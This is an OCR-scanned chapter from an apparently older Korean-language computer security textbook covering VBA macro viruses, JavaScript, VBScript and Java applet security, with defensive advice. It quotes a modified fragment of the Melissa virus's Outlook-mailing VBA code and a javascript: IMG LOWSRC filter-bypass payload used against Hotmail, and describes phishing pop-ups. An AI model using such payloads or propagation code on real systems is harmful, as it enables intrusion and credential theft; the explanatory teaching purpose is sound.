표 3-2. _ VBA 와 Visual Basic (VB) 의 비 교 


VBA 

Visual Basic 

주응용프로그람에로 밀접히 통합 

단독응용프로그람을 만드는데 리용 

된 다. 

된 다. 

원천 코드가 주응용프로그람에 서 

원천코드가 단독 IDE 에서 창조된다. 

창조된다. 

코드가 문서의 부분으로 된다. 

코드가 독립적 인 파일로 보관된다. 

콤파일코드가 아니다 ( P - 코드). 

콤파일 코드다. 


VBA 는 초기에 Exel 5.0 에서 나타났다. 다른 Office 응용프로그람들도 마크로언어 
들을 가지지만 그것들은 모두 일부 다른 특징들을 가진다. 실례로 Word 는 WordBasic 
라는 마크로언어를 리용하였고 Access 1.0 은 AccessBasic 를 리용하였다. Office 97에 
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서와 같이 PowerPoint 를 비롯하여 모든 응용프로그람들은 표준 VBA 언어를 리용하며 
류사한 조립도구를 쓴다. 또한 응용프로그람들은 사용자에게 마크로를 등록하게 한다. 
일 단 마크로가 VBA 원천코드로서 등록되 면 결과적 으로 그것 을 보고 편집할수 있 다. 이 
것은 초보적인 프로그람작성지식을 가지고 있는 사용자들에게는 대단히 유용한 특징이다. 
그러나 마크로는 VBA 지령들과 완전히 같아 질수는 없다. 



그림 3-3. VBA 편집도구의 시험 


VBA 는 사용자창조지 령들이나 사건들의 결과로써 실행된다. 그림 3-3 에서 보여 준 
실례에서 통보문 《You opened the docuraent 》 (당신은 문서를 열었다.)는 이 특별한 
문서가 열릴 때마다 현시될것이다. 이 마크로는 Normal 형판(견본)으로 기억되지 않으며 
따라서 새 문서나 현존 문서들이 열려 질 때 실행되지 않을것이다. 만일 VBA 마크로가 
분리모둘로 기억되면 그것은 사용자가 그것을 작용시키려고 할 때마다 Tools 차림표로부 
터 호출될수 있다. 실례로 계산서에 적어 넣기하는 사무는 자동적으로 문서에 청구서양 
식을 삽입하는 마크로를 창조할수 있다. 그러 나 이 능력에 간섭하는 장애물이 있다. 만 
일 마크로가 Normal 형 판으로 취 해 지면 그것은 Word 를 가지 고 창조되는 모든 문서들 
을 감염 시킬수 있는 가능성 을 가진다. 이것 을 보다 구체 적 으로 고찰하자. 

1 ) VBA 와 관련된 보안문제 

Microsoft 회사는 VBA 를 너무 강력하게 만들었다는 비평까지 받았는데 그것은 일부 
사용자들이 지어 《Virus Builder Accessory ) (비루스창조부속도구)라는 VBA 를 호출 
하는데까지 이르렀기때문이다. VBA 인 경우에 우리의 견해는 일부 해커들때문에 바로 
그것을 고의적으로 절름발이되게 만들기보다는 더 큰 힘을 사용자들과 개발자들에게 주 
는것 이 좋다고 생각한다. Office 97의 이전 판본과 관련된 실제문제는 마크로가 ◦打 ice 
문서 가 열 려 지 자마자 검 사 안된것 을 실 행 하게 한다는것이 였 다. 또 문서 가 기 대 하지 않 
는 VBA 코드를 포함한다면 이것은 극히 위험하다는것을 사용자들에게 경고하는것이 없 
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었다. 갱신된 판본의 Office 97은 사용자에게 마크로가 문서에 포함되는것을 즉시 통보 
한다(그림 3-4). 

검사 안된 마크로들을 실행함으로써 생기는 문계거리는 그것들이 트로이목마나 지어 
가장 나쁘게는 마크로비루스를 포함할수 있다는것이다. 마크로비루스 (macro virus ) 는 
문서 나 형판안의 마크로에 잠입한 코드이 다. Word 문서 인 경우에 그것 이 일단 열려 지 
면 마크로비루스는 실행되며 Normal 형판에 기억된다. 그때로부터 계속하여 우리가 보관 
하는 Word 문서 모두는 같은 마크로비루스에 감염된다. 만일 사용자가 이 문서를 다른 
사람들에게 보내고 그들이 그것을 열면 마크로비루스는 역시 그들의 콤퓨터에로 이송된 
다. 전체 적 인 망들을 감염 시 킬수 있 다는것 이 명 백 하다. 


- 田™^ 

쇼響 며 ciqj ■ 뀨 想 1 바 ■■ ■ 任 

ᅭ - ■■■ [卜과 


며 _j_ 신 gnrw ， ■nnw ， 
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«CKA ᅳ CM ■•■ 미， 4 oa EHB 顯 W 내 ‘ 


혹==田 언 

b» 예 ■『，，■■■ mr 圖 ，， mm 


쁘:— : iUn , 


그림 3-4. Word 는 문서가 마크로를 포함하고 있다는것을 
사용자에게 통보 


마크로비루스를 만드는 그 누구의 가능성에 대하여 1996년경에 처음으로 제기되였지 
만 세계적규모에서 충격을 준 Melissa 비루스가 나타난 1999년까지도 그것을 믿지 않았다. 
Melissa 는 Word 문서 에 서 VBA 를 가지 고 만들어 졌 다. 다음의 코드조각은 본래 의 
Melissa 코드로부터 약간 변화되였다. 코드는 Outlook 의 실체를 만들것이며 전자우편을 
보내여 현재 사용자가 받은것을 요구할수 있다. 만일 그림 3-3 의 코드를 다음과 같은 
Melissa 코드(그리 고 전자우편통보문에 문서 를 붙인 코드)와 교체 하면 마크로는 퍼 질수 
있는것 이 다. 

Set UngaDasOutlook = CreateObject ( “ Outlook . Application ” ) 

Set DasMapiName = UngaDasOu 仕 ook . GetNameSpace (“ MAPI ”) 

If UngaDasOutlook = “ Outlook ” Then 
DasMapiName . Logon “ Profile ”, “ Password ” 

Set BreakUm ◦打 ASlice = UngaDasOutlook . Createltem ( O ) 

DasMapiName . Logoff 


69 
















이 코드는 무엇 인가 변화되 였으나 VBA 를 리 용하는 Outlook 의 실체 를 얻 기 위한 
기본착상만을 보여 준다. 볼수 있는것처럼 VBA 는 확실히 해커가 말썽거리를 일으키는 
데 필요한 모든 능력을 가지고 있다. 이제는 이와 갈은 류형의 위협들을 막는 방법들을 
고찰하자. 


도구와 함정... 

1 Melissa ( 멜리싸)비루스 

" 1999년 3월 세계는 VBA 비루스가 어떤 능력을 가지고 있는가를 보았다. 보통의 
VBA 비루스는 Normal.dot 형판에 숨어서 류포될수 있으므로 새 문서들이 창조되고 
다른 사람들에 의해 리용될 때 퍼지는 잠재력을 가진다. 이것은 느리게 이동하기때 
문에 멈추기가 상당히 쉬우며 십중팔구는 아주 멀리까지 퍼지기전에 검출되군 한 
다. 한편 Melissa 비루스는 빨리 이동하도록 특별히 프로그람화되였다. 

Melissa 비루스는 전자우편첨부물로서 태여 났다. 이것은 저절로 형판파일에 매 
몰되며 또한 저절로 사용자 Outlook Address Book (주소책)에 있는 첫 50명의 사 
용자들에게 우편물을 보낸다 . 전자우편 통보문의 앞머리는 《An inportant 
message from (sender name) ) 그리고 통보문의 본문은 《Here is that 
document you asked for-•-don't show anyone else:-》 였다. 전자우편은 비슷 
한 어 떤 사람으로부터 온것 처 럼 일 어 났는데 많은 사람들은 위 험한것 인가를 알아 
보기전에 이것을 열었다. 보다 많은 《날래지》못한 콤퓨터사용자들이 초기에 이 
것때문에 쓰러졌다고 생각한다. 또한 약간 다른 날랜 특징들도 있었다. 만일 비루 
스가 Word 2(X)0 을 거 처 공격하였다면 이것은 등록고 Registry 를 변경시켜 보안설 
정을 가장 낮은 준위에로 떨굴것이다. 역시 사용자가 보안설정들을 원상대로 복구 
하게 하는 Word 차림 표지 령 (Macro, Security) 들을 사용하지 못하게 하였 다. 

피해결과는 아마 비루스제작자가 상상한것보다도 훨씬 크고 참혹하였다. 보다 
큰 회사들에서는 이로하여 늘어 난 전자우편통신이 봉사기들을 꺼버리는데로 이어 
졌다. Intel 과 Microsoft 와 같은 큰 회사들은 정말 큰 타격을 받았다. Microsoft 회 
사는 금요일 온 하루동안 자기 본국으로 오는 그리고 밖으로 나가는 전자우편을 보 
류하지 않으면 안되였다. 여기서 주목된것이 바로 이 비루스를 굉장히 빨리 퍼지게 
한 이 비 루스에 관한 사회 적 공학 (Social Engineering) 이 였 다 (그것 은 문서 를 열 도 
록 사용자들을 납득시켜 야 하였다). 


2) VBA 비루스를 막기 

사용자들이 이 비 루 스 들을 검사하기 위 해서 는 망콤퓨터 들에 항비 루 스쏘프트웨 어를 
구입하여 설치할 필요가 있다. 이 검사들을 McAfee 와 Norton Utilities, Pccilin 2000 
으로부터 할수 있다. VBA 마크로비루스들에 대한 한가지 가장 좋은 방어는 마크로의 존 
재를 경고할 때 일반적인 상식을 리용하는것이다. 만일 사용자들이 쓸모 있는 마크로들 
을 포함하는 문서를 사용하려면 마크로들을 허용한 그 문서를 열어야 한다. 례컨대 만일 
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그들이 자기들의 회사에 리용된 공통주문양식을 접수하면 그들은 류사하게 《Enable 
Macros > (마크로허 용)를 선택 하려 고 할것 이 다. 그런데 만일 그들이 마크로들을 포함하 
는 문서를 바라지 않거나 혹은 그들이 모르고 있거나 신용하지 않는 망 그리고 인터네트 
가 원천지이거 나 그것 이 보안이 안되 여 있다면 그들은 마크로들을 허 용하지 않도륵 결심 
을 바꿀것 이 다. 

사용자들은 Word 의 Tools 차림 표로 가서 Options 를 선택하여 마크로비 루스보호를 
허용하는 기정설정을 그만 두게 할수 있다(그림 3-5). 



그림 3-5. Word 마크로설정 


만일 마크로비 루스가 비 루스검 사프로그람과 함께 검 출되 였 다면 사용자는 마크로코드 
를 보기 가 아주 쉽다. 사용자들은 그림 3-3 과 류사한 화면을 보기 위하여 Tools 
| Macro | Visual Basic Editor 를 선택 할것 이 다. 왼쪽켠에는 Project 라는 표제를 단 창문 
이 있다. 이 창문은 사용자가 코드를 포함하는 여러가지 형판들과 문서들을 걸쳐 려행할 
수 있게 한다. 만일 우리가 Normal 에 있는《 +》기호를 찰칵한 다음 나타나는 임의의 
객체들을 두번 찰칵하면 어떤 마크로코드가 오른쪽켠에 있는 창문에 나타날것 이 다. 

여전히 보안안된 한가지 제품이 O 打 ice 97/2000 의 Access 이 다. 하지만 이에 대한 
좋은 리 유는 있다. Access 는 양식 들을 현시 하고 양식 들에 기 능을 부가하기 위하여 
VBA 를 몹시 믿는다. 만일 VBA 가 허용 안되면 Access 는 대 단히 쓸모 없는것으로 될수 
있다. Access 에 확장되여 리용되고 있는 양식들은 VBA 코드를 리용하여 발생된다. 이 
리유로 하여 Access 문서들은 여전히 마크로비루스들의 대상으로 될수 있으나 그것이 고 
유하게 Access 자료기지첨부물을 가진 전자우편을 찾기 위한 일반적인것은 아니다. 보통 
사용자는 그것 이 요구되지 않으면 누군가로부터 자료기지총체를 받아 들이는것 이 이상스 
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럽다는것 을 알아 차릴것 이 다. Word 와 Excel 은 보다 많은 첨 부물들을 받아 들이 는데 서 
이보다 떨어 진다. 이것은 어떤 사람이 그것을 열게 유혹하는 좋은 사회공학적속임수를 
가지고 나설수 없다는것을 의미하지 않는다. 

2. JavaScript 

JavaScript (Java 스크 립 트) 는 HTML 문서 프로그람작성 자가 평 문으로 된 HTML 코 
드가 할수있는것 을 초월하여 우월하게 할수 있게 하는 매 우 유용한 언어 이 다. 
JavaScript 를 리용하여 프로그람작성자는 마당 (field) 들에 있는 정보를 검증할수 있으 
며 사용자에게 통보문들을 현시하고 지어 마우스이동들에 반응하는 동화 (animation) 들 
을 창조할수 있다. JavaScript 는 매몰된 스크립트인데 이것은 HTML 코드문서에 당당 
히 포함된다는것을 의미 한다. JavaScript 에서 찾아 진 많은 보안구멍들은 그것 이 그처 
럼 오래동안 주위 를 끌었 기때 문에 이 미 메 꾸어 졌다. JavaScript 는 Netscape 
Navigator 의 판본 2.0 과 함께 1995년에 처음으로 등장하였다. Java 라는 같은 이름을 
가졌음에도 불구하고 JavaScript 는 극히 적은것을 제외 하고는 거의 모든 매 측면에서 
Java 와 차이난다(표 3-3). 


표 3-3. JavaScript 와 Java 사이 차이 


JavaScript 

JavaApplets 

HTML 문서의 임의의 부분에 접근 
Script 지령들이 한 행씩 해석 
HTML 문서와의 단순한 호상작용 
NetScape 에 의해 개발 

HTML 문서의 4각형구역 으로 제 한 
바이트코드는 클라스파일들에 기 억 
복잡한 응용프로그람들의 처리 

Sun Microsystems 에 의해 개발 


그런데 왜 언어를 서술하는데서 같은 이름을 리용하는가? 주요한 류사점이 JavaScript 
의 문장론이 다. JavaScript 에서의 구조와 지 령들은 Java 로부터 많이 빌려 다 사용하였다. 
Netscape 는 JavaScript 를 배우는 Java 프로그람작성자들을 위 해 그것을 보다 쉽게 하는 
이 설계를 리용할것을 결심하였다. 

1) JavaScript 보안개괄 

JavaScript 는 Web 페지와의 호상작용을 위한 급한 목적을 가지고 설계되였다. 이것 
은 JavaScript 가 매몰된 갈은 문서에 포함된 정보를 유일 하게 볼수 있게 한다는것을 의 
미한다. 만일 어 떤 사람이 JavaScript 를 가진 전자우편을 보내 면 Outlook 와 같은 우편 
프로그람을 리 용할 때 수납자의 비밀을 실제 로 침해할수 없다. 왜 냐하면 보여 주려 는 정 
보가 JavaScript 와 함께 보내 진 같은 문서 에 있기 때 문이 다. 그러 나 만일 수납자가 
Hotmail, Yahoo! Mail 혹은 PortableOffice.com 과 같은 Web 관련전자우편등록자리들 
을 리용하면 적지 않은 일부 가능성들을 열수 있다. 
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이전 판본의 JavaScript 는 그 어떤 주위환경속에서도 사용자파일들에로의 접근을 
허용하지 않았다. 하지만 NetScape 4.0 과 그이후 판본들, JavaScript 는 하드구동기에 
보관하는것과 같은 사용자들로부터의 보충적 인 특권들을 요구할수 있다. 만일 사용자가 
그 사람을 증명 서 수표자 (signer of certificate) 로 신임 할수 있 다고 느끼 면 그에 게 특별 
히 금지된 자원들에로 스크립트접근을 할수 있도록 승인하는 선택을 할수 있다. 

JavaScript 는 대 단히 보안적 이 다. 하지 만 지 난 시 기의 문제거 리들은 NetScape 와 
Microsoft 에 의 한 JavaScript 의 실현에 의 하여 발생 하였다. 여기에 일련의 문서화된 
JavaScript 를 리용한 실례들이 있는데 이것들은 안전한 전자우편을 보내고 디스크로부 
터 자료파일들을 올리적재한다. 모든것과 마찬가지로 이 제품들의 완성은 많은 구멍들을 
제거 하였다. 

여 기 에 주 목 하 여 야 하 는 한 가 지 다 른 보 안 관 련 항 목 이 있 다 . NetScape 에 서 
JavaScript 1.3 은 접 속기 (plug-in) 들과 호상작용할수 있는 능력 을 가진다. 접 속기 는 
ShockWave 유희프로그람과 같이 열 람기 의 기 능을 증가시키 는 작은 프로그람이다. 
Java&ript 는 실제적으로 임의의 접속기에 대한 참조를 엄을수 있으므로 그 접속기의 방 
법들과 속성들을 계속 호출할수 있다. 

2) 보안문제 

많은 JavaScript 구멍들은 그리 엄중한것은 아니지만 일반적 으로 사용자의 개 인비밀 
(privacy) 을 침해 하는것들을 포함한다. 앞에서 취급한것처 럼 JavaScript 를 위 한 모형은 
매우 보안적 이 다. 그러나 지난 시기에는 실현이 항상 완전치 못하였으므로 사람들은 보 
안을 회 피하게 하는 구멍 들을 늘 찾군 하였 다. 

열 람기 와 관련한 문제거 리 들을 일 으키 는 많은 구멍 들이 이 미 메 꾸어 졌다. 
JavaScript 와 함께 나타나는 기본약점은 그것이 Web 폐지로부터 자료를 읽을수 있는 능 
력을 가진다는것이다. 이것은 PortableOffice.com 과 같은 Web 관련전자우편봉사들에 
문제 거 리 들을 발생 시킬수 있다. 어 떤 사람이 우리 한테 로 어떤 JavaScript 코드를 가진 
전자우편을 보낸다고 하자. 전자우편을 보자마자 문서내 에 있는 무슨 다른것 을 읽 는것 , 
또 어떤 다른 사람에게 우편을 보내는것 혹은 자기 우편을 읽는것과 갈은 여러가지 감시 
하는 활동들이 생긴다. 프레임 arame) 들을 리용하면 그것은 프레임밖에서 계속 실행되 
지만 프레임내에 있는 정보를 보는듯 한데 이것은 Web 관련등록자리에 있는 전자우편일 
수 있 다. 

이 문제 거 리 는 처 음으로 Hotmail (이 전시 기 에 는 Rocket Mail 이 라고 부름) 에 의 하여 
밝혀 졌다. Hotmail 은 자기들의 싸이트에로 보낸 임의의 JavaScript 를 중화시켜 이 위 
협 들과 싸우려 고 시 도하였 다. 프로그람작성 견지 에 서 보면 봉사기 는 전자우편통보문들을 
차단하며 임의의 JavaScript 코드를 지운다. 

지 어 Hotmail 이 이 보안려 과기 (security filter) 를 리 용한후에 도 일 부 용맹 한 해 커 
들은 이 메 꿔 진 구멍주변에서 해 킹방법 을 찾아 냈다. 비 록 JavaScript 를 쓸모 없게 만 
드는 작용을 지원하였다고는 하지 만 그들은 JavaScript 코드를 전자우편통보문에서 실행 
할 수 있 게 하 는 방 법 을 찾 았 다 . 이 채 용 은 Internet Explorer 5 와 NetScape 
Communicator 4에서 둘 다 동작한다. 해커들은 JavaScript 지 령들이 어 떤 허상이 라고 잘 
못 생각되게끔 열람기를 속여 넘길수 있을것이라는것을 체득하였다. 그들은 JavaScript 튀 
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여 나오기 ( pop - up ) 창문을 간절 히 바라는 HTML 코드에 다음의 행 을 삽입 하였 다. 

<IMG LOWSRC = " javascript : alert('JavaScript message ’)”〉 

이것은 Hotmail 로 하여금 제도판우에서의 준비에로 되돌아 가게 하였고 JavaScript 
려과기를 다시 설계하게 하였다. 이제 우리는 통보문의 원천코드를 볼 때 그것이 변환되 
였다는것을 발견할것이다. 즉 

< IMG . lowsrc =” javascript : Filtered ( )” > 

3) 접속기지령의 재용 

이미 설명한것처럼 Netscape 는 선진적인 기능들을 보충하기 위하여 접속기들을 리 
용한다. JavaScript 는 삽입프로그람과 통신할수 있는 가능성과 접속기메쏘드들을 호출 
할수 있는 능력을 가진다. 만일 여러가지 이 메쏘드들을 리용하여 작성된 프로그람이나 
파일들을 읽을수 있게 하였다면 이것은 주요한 보안위험을 만들것이다. 

실례로 Shockwave 접속기가 파일들을 디스크로부터 읽도륵 승인하였다고 가정하자. 
해커는 JavaScript 로부터 쉽게 호출되는 이 메쏘드를 역시 파일들을 디스크로부터 호출 
하는데 리 용할것 이 다. 이 것 을 등에 업 고나르기 기 능 (piggybacking functionality ) 이 라고 
부른다. 우리가 알고 있기에는 이 형태의 공격이 아직 채용되지 않았다. 

4) Web 관련전자우편공격 

JavaScript 의 가장 심중한 피해결과는 Web 관련우편봉사를 할 때 온다. 사용자가 
Web 관련전자우편통보문을 열 때 JavaScript 를 실 행하는것 은 JavaScript 코드가 화면에 
현시하는것을 본질적 으로 계승할수 있게 한다. 이 것은 사용자들로 하여 금 마치 표준 
Hotmail 체계에서 일하고 있는것처럼 생각하도록 완전히 속여 넘길것이다. 이것은 사실 
사용자들이 하고 있는 모든것이 제대로 조작되고 있으며 인터네트에 있는 봉사기에로 거 
꾸로 보내진것처럼 보이게 한다. 

실례를 들자. 우리가 PortableOffice.com 와 같은 Web 관련전자우편봉사에 매몰된 
JavaScript 를 가 진 통 보 문 을 연 다 고 생 각 하 자 . 전 자 우 편 안의 코 드는 Portable - 
Office.com 이 통과암호를 다시 묻는다고 생각하도록 꾸며 낸 가입등록화면을 쉽게 현시 
할것 이다. 만일 속히웠다면 그것 이 정상이라고 생각하고 자기의 정보를 넣을것 이며 하여 
무엇이 일어 났는지 알지도 못한채 자기의 전자우편통과암호를 도적 맞힌다. Web 페지 
날조를 리용하여 JavaScript 가 사용자의 통보문들을 역시 읽게 할수 있으며 사용자이름 
을 가지고 통보문들을 보내게 할수도 있고 다른 해독작용도 할수 있다. 또한 현재 Web 
페지로부터 cookie 를 얻게 할수 있는데 이것은 어떤 정보가 Cookie 에 기억되는가에 따 
라 위 험할수 있 다. 

많은 열 람기관련전자우편봉사들은 이와 같은 공격들을 막기 위 하여 고의적으로 모든 
JavaScript 를 무효(비사용)로 만든다. 
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5) 사회공학 

사회공학 (Social Engineering ) 은 해커가 통과암호와 같은 정보를 훔치는데 리용할 
수 있는 다른 전술이다. 이 위협을 기술적인 관점에서 쓸모 없게 만들기는 대단히 어렵 
다. 해커의 목적은 이 경우에 그 어떤 사람의 부하로서의 자격을 얻는것이다. 해커는 여 
러가지 방법으로 이것을 할수 있는데 보통 큰 회사나 지어 당신이 일하는 회사에 속한체 
한다. 해커는 외딴 곳에 회사등록 ( logo ) 을 가진 전자우편을 보내서 이것을 하기때문에 
그 어떤 사람이 사용자의 통과암호를《검증》할 필요가 있게끔 만든다. 또 다른 전술은 
통과암호요구가 콤퓨터 로부터 온것 처 럼 함으로써 사용자의 신용을 얻는것 이 다. 
JavaScript 는 시 간지 연기 의 역 을 놀수 있는데 그러 므로 10초 지 나서 혹은 그렇 게 한후 
에 (만일 전자우편이 그만큼 오래 화면에 남아 있다면) 통보문이 튀여 나올것 이다. 통보 
문은 Windows NT 가 통과암호를 묻도륵 요구하는것처럼 임의의 의사를 나타낼수 있다. 
그림 3-6 에서 볼수 있는것처럼 통보문을 믿을만하다고는 볼수 없다. 창문의 제목띠는 
《Explorer User Prompt 》 라고 말하고 있는데 창문이 너 무 넓 다. 만일 통보문이 지속 
되고 튀여 나온채로 그냥 있으면 일부 사용자들은 그에 대한 탁상방조를 호출하기 보다 
는 그것을 쫓아 버리 려고 창문안에 있는 단추를 누를것 이 다. 



그림 3-6. JavaScript 에서의 대화칸 


6) JavaScript 보안위험을 낮추기 

관리자들이 자기들의 사용자들을 손상으로부터 보호하기 위하여 취하는 예 방책은 우 
선 제 일 먼저 사용자들에 게 최근쏘프트웨어들이 있는가 또 그들이 모든 구멍을 메꿨는가 
를 알아 보는것이다. 이 소제목에서 설명한것처럼 JavaScript 와 관련한 가장 많은 구멍 
들은 열 람기작성 자들속에 서 스크립 트작성언어 를 사용하는것 과 련관되 여 있다. 

만일 그들이 Web 관련우편물을 리용한다면 관리자들은 사용자들이 잠재적인 보안위 
협들을 려과해 버리는 봉사에 가입 하고 있는가를 알아 봐야 한다. Hotmail 등은 임의의 
JavaScript 들을 보기전에 들어 오는 통보문으로부터 지워 버 린다. 즉 다른 Web 관련전 
자우편제공자들은 보안위협들에 대해 보다 무심히 대하므로 그들은 스크립트 작성의 려과 
를 제공할수 없다. 보다 합리적인 단계는 그들이 JavaScript 를 사용하지 못하게 만들수 
있 다는것 이 다. 역 시 JavaScript 가 달릴 때 마다 사용자에 게 문의 하게 하는 프로그람에 
관한 선택권이 있는데 그 설정으로 하여 사용자들은 많은 회수의 재촉을 받을수 있다. 
Netscape 만은 사용자들이 열람기 에 대하여서도 또 우편에 대하여서도 JavaScript 를 쓸 
수 없게 하고 있다. 


75 









3. VBScript 


HTML 문서들에서 리용할수 있는 그밖의 다른 매몰스크립트작성언어는 Microsoft 
VBScript 이 다. VBScript 는 Visual Basic for Scripting Edition 의 략어 이 다. 이름이 
보여 준것처럼 언어의 문장론은 JavaScript 가 Java 를 닮은것과 득같이 Visual Basic 와 
매우 류사하다고 볼수 있다. VBScript 는 Web 페지와의 호상작용에 관해서 JavaScript 
와 거의 같은 기능을 제공한다. 주요한 차이는 VBScript 가 사용자가 설치한 ActiveX 조 
종체 들과 호상작용할수 있 다는것 이 다. 

VBScript 는 오직 Microsoft Internet Explorer 와 Outlook 와만 동작하므로 그것은 
JavaScript 와 같이 Web 페 지 들에 서 거 의 대 중적 이 못된 다. Netscape Messenger 나 
Navigator 와 동작하는 VBScript 를 얻는 유일한 방법은 ScriptActive 와 같은 Netscape 
를위한 접속기를 내리적재하는것이다. 이것은 많은 사용자들이 그것을 알아 보지 못하 
도록 혹은 그것을 괴롭히지 않도록 피하게 하는 례외적인 걸음이다. 그러나 Internet 
Explorer 는 모든 Windows 체계들에 포함되여 있기때문에 Netscape 가 가지고 있는것보 
다 더 큰 설치지원기지를 제공한다. Microsoft 에 따르면 Internet Explorer 는 대략 90% 
의 인터네트사용자들에 의해 리용되고 있다. 따라서 일부 단체들은 Netscape 사용자들을 
잃어 버린다고 해도 크게 문제로 될것은 없다. 

1) VBScript 보안개괄 

VBScript 는 열람기들과 HTML 전자우편통보문들에서 안전하게 달리도록 Microsoft 
회 사에 의 하여 설계되 였다. 이 응용프로그람들의 설계 자들이 자기 들의 응용프로그람들에 
고유하게 스크립트작성언어를 취급하는 한 리론적으로 여기에 아무런 문제거리들이 있어 
서 는 안된 다. 표준적 인 Visual Basic 는 디 스크연산들을 수행하는 메 쏘드들을 가지 고 있 
지만 VBScript 에서는 모든 잠재적인 불안전연산들이 언어에서 삭제되고 있다. 
VBScript 에서 찾을수 없는 일반적으로 사용하고 있는 Visual Basic 연산들을 렬거하면 
다음과 같다. 

• 파일 입출구 (File I / O ) 

• 동적 자료교환 ( DDE:Dynamic Data Exchange ) 

• 객 체 일 반화 (Object instantiation ) 

• 직접자료기지호출 ( DAO:Direct Database Access ) 

• DLL 코드의 실행 

VBScript 는 일 단 사용자가 Microsoft Outlook 나 Outlook Express 에 서 전자우편 
물을 열기만 하면 자동적으로 실행된다. VBScript 자체는 기본적으로 HTML 문서에 있 
는 자료에 접근하는것으로 제한된다. 이것은 ActiveX 조종체를 포함하며 그다지 크지 않 
지만 많은 해 킹가능성들을 열어 놓는다. 

2) VBScript 보안문제 

VBScript 는 설치될수 있는 ActiveX 조종체들의 지배권을 쥘수 있기때문에 그와 련 
결된 약점들이 생길수 있다. 류사한 현상이 Jscript 와 Microsoft 의 변경된 판본의 

76 



JavaScript 들에서 나타난다. Microsoft 는 JavaScript 도 마찬가지로 ActiveX 조종체들과 
호상작용시킬것을 원했다. 결국 그들은 앞으로 계속 전진했고 자기들의 관본을 갱신시켰 
다. 그러 나 유감이지만 그것들의 변종들은 매우 불안전할수 있다. 

우리는 삭제된 위험한 Visual Basic 지령들이 앞으로 생길수 있는 임의의 보안문제 
거리들을 완전히 묻어 버렸다고 생각할수 있다. 이것은 VBScript 그자체에서는 옳지만 
앞에서 설명한것처럼 VBScript 는 대신 ActiveX 부분품들을 호출할수 있다. 이것은 지령 
이나 다른 형식으로 제한된 스크립트작성언어를 가지고 무엇이나 거의 제한없이 할수 있 
는 가능성이 있다는것을 보여 준다. 

소거된 위험 한 이 지 령연산들에 의 해 닫겨 진 매문 (door) 은 만일 고유한 ActiveX 
조종체가 체계에 있다면 곧 열려 질수 있다. 

해커는 자체로 찾을수 있는 임의의 ActiveX 조종체에 대한 제한 없는 사용을 가지고 
있는 한 VBScript 와 함께 많은것들을 할수 있다. 다행히도 가장 최근판본의 Outlook 
Express 는 우리가 인차 보게 되는 안전조종체들과 불안전조종체들사이를 구별한다. 

역시 VBScript 는 사회적공학적형태의 해킹에 리용될수 있다. 이것은 그림 3-7 에서 
보여 준 대화칸을 현시할수 있으며 사용자에게 정보입력을 요구할수 있다. 여기에 다양 
한 형태의 사회적공학과 련결된 곡 같은 위험들이 있다. 이것은 무엇인가 입력시킬 때까 
지 오래 지속하면서 도망치지 않고 사용자가 통과암호를 넣도륵 시 간을 질질 끌수 있다. 
다행히도 제목띠는 VBScript 에 속한것처럼 대화칸을 보여 주고 있는데 이것은《가장 
진정한》사용자들만을 잡을것이다. 



그림 3-7. VBScript 대화칸 


실제로 문제거리들은 VBScript 가 ActiveX 조종체들과 호상작용할 때 일어 난다. 현 
재 있는 일부 ActiveX 조종체들은 디스크파일들에 접근하는것과 갈은 완전히 보안되지 
않은 지령들을 가지고 있다. 만일 VBScript 작성자가 Web 폐지나 전자우편통보문에서 비 
법적 인것들을 하려 고 한다면 ActiveX 조종체 에 대응하는 유일한 CLASSID 의 수자를 조 
사해야 할 필요가 있다. 일단 해커가 러용하려는 조종체를 찾으면 VBScript 코드는 그 
조종체의 기능에로 긴급히 접근할것이다. 더우기 취급한것처럼 어떤 조종체들은 자기 사 
용자들의 체계에서 바라지 않는 불필요한 연산들을 할수 있는 가능성을 준다. 그밖에 
Adobe Acrobat 와 같이 거의 모든 열 람기사용자가 설치 하는 대중적 인 많은 조종체들이 
있다. 해커는 Acrobat 의 대중성으로 하여 목적의식적으로 그 어떤 사람이 이 조종체와 
호상작용할수 있다는것을 확신할수 있다. 

3) VBScript 보안대책 

사용자들이 자기들의 체계들에 VBScript 공격들을 쉽게 받을수 있는 어떤 조종체들 
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이 존재하는가를 정확히 안다는것은 힘든 일이다. Microsoft 는 어떤 ActiveX 조종체들 
이 설 치 되 였 는가를 추적 하는 좋은 방법 이 없 다는것 을 이 미 밝혔 다. 

일단 사용자들이 자기들의 체계에 나쁜 조종체가 있다는것을 밝혀 냈다면 무엇을 하 
겠는가? 첫째 로, 그들은 자기들의 조종체의 판본을 올려야 한다. 실례로 Adobe 는 Web 
싸이트에서 리용할수 있는 자기의 Acrobat Reader 와 관련한 문제거리를 인정하고 덧대 
기 를 진행하였 다. 

자기들이 가지 고 있는 모든 쏘프트웨어들의 판본을 올리는것은 보안덧대 기 를 위한 
사 용 자 들 의 가 장 좋 은 선 택 기 회 이 다 . Microsoft 는 Outlook Express/Internet 
Explorei ■의 위험들을 낮추기 위 하여 지금도 계속 노력하고 있다. 이전 소제목에서 설명 
된것 처 럼 ActiveX 조종체 들은 이제 는 스크립 트작성 을 위한 안전 ( safe ) 혹은 불안전 
( unsafe ) 조종체로 표식을 달수 있다. Microsoft 의 가장 최근판본의 Outlook Express 
와 Internet Explorer 는 설정들을 전용화 ( customize ) 할수 있게 하였기때 문에 사용자들 
은 불안전이라고 표식 이 불은 ActiveX 조종체들에 접 근하는 스크립트작성 언어 들을 승인 
하지 않도록 선택을 할수 있다. 

또한 이것들은 스크립트를 완전히 허용 안하는 극단적인 설정도 할수 있다. 이것은 
자기 고객 들의 경 험 쌓기 를 위해 창조하는 Web 폐 지 들과 전자우편내 용물의 기 능을 크게 
떨구게 한다. 또 다른 선택 권은 감정 을 사게 한 쏘프트웨 어 를 완전히 없애 버리는것 인데 
이것으로 모든 조종체들을 완전히 깨끗히 설치해제시키지는 못할것이다. 

4. JavaApplets 

JavaApplet ( Java 애플레트)들은 HTML 폐지에서 임의의 자료도 볼수 없는데 왜냐하 
면 Java 애 플레 트가 자기들이 무엇 이 든 할수 있는 모든것 을 모래 통 ( SandBox ) 에 의하여 
제한 받기때문이다. 이것은 Java 애플레트가 자기들이 보여 주려는 HTML 문서에 있는 
임의것에 대한 정보를 전혀 얻을수 없다는것을 의미한다. 

모든 Java 코드는 바이트코드 ( byte - code ) 를 번역하는 실행 가능한 프로그람인 가상 
기계 (virtual machine ) 에서 실행된다. 프로그람작성자가 Java 원천코드를 번역하기 위해 
Java 콤파일러 (혹은 javac ) 를 리용할 때 를파일러는 바이트코드를 만들어 내는데 이것은 
콤파일된 기계코드 (machine code ) 와 차이난다. 대 비적 으로 C 콤파일러는 조작체계 혹은 
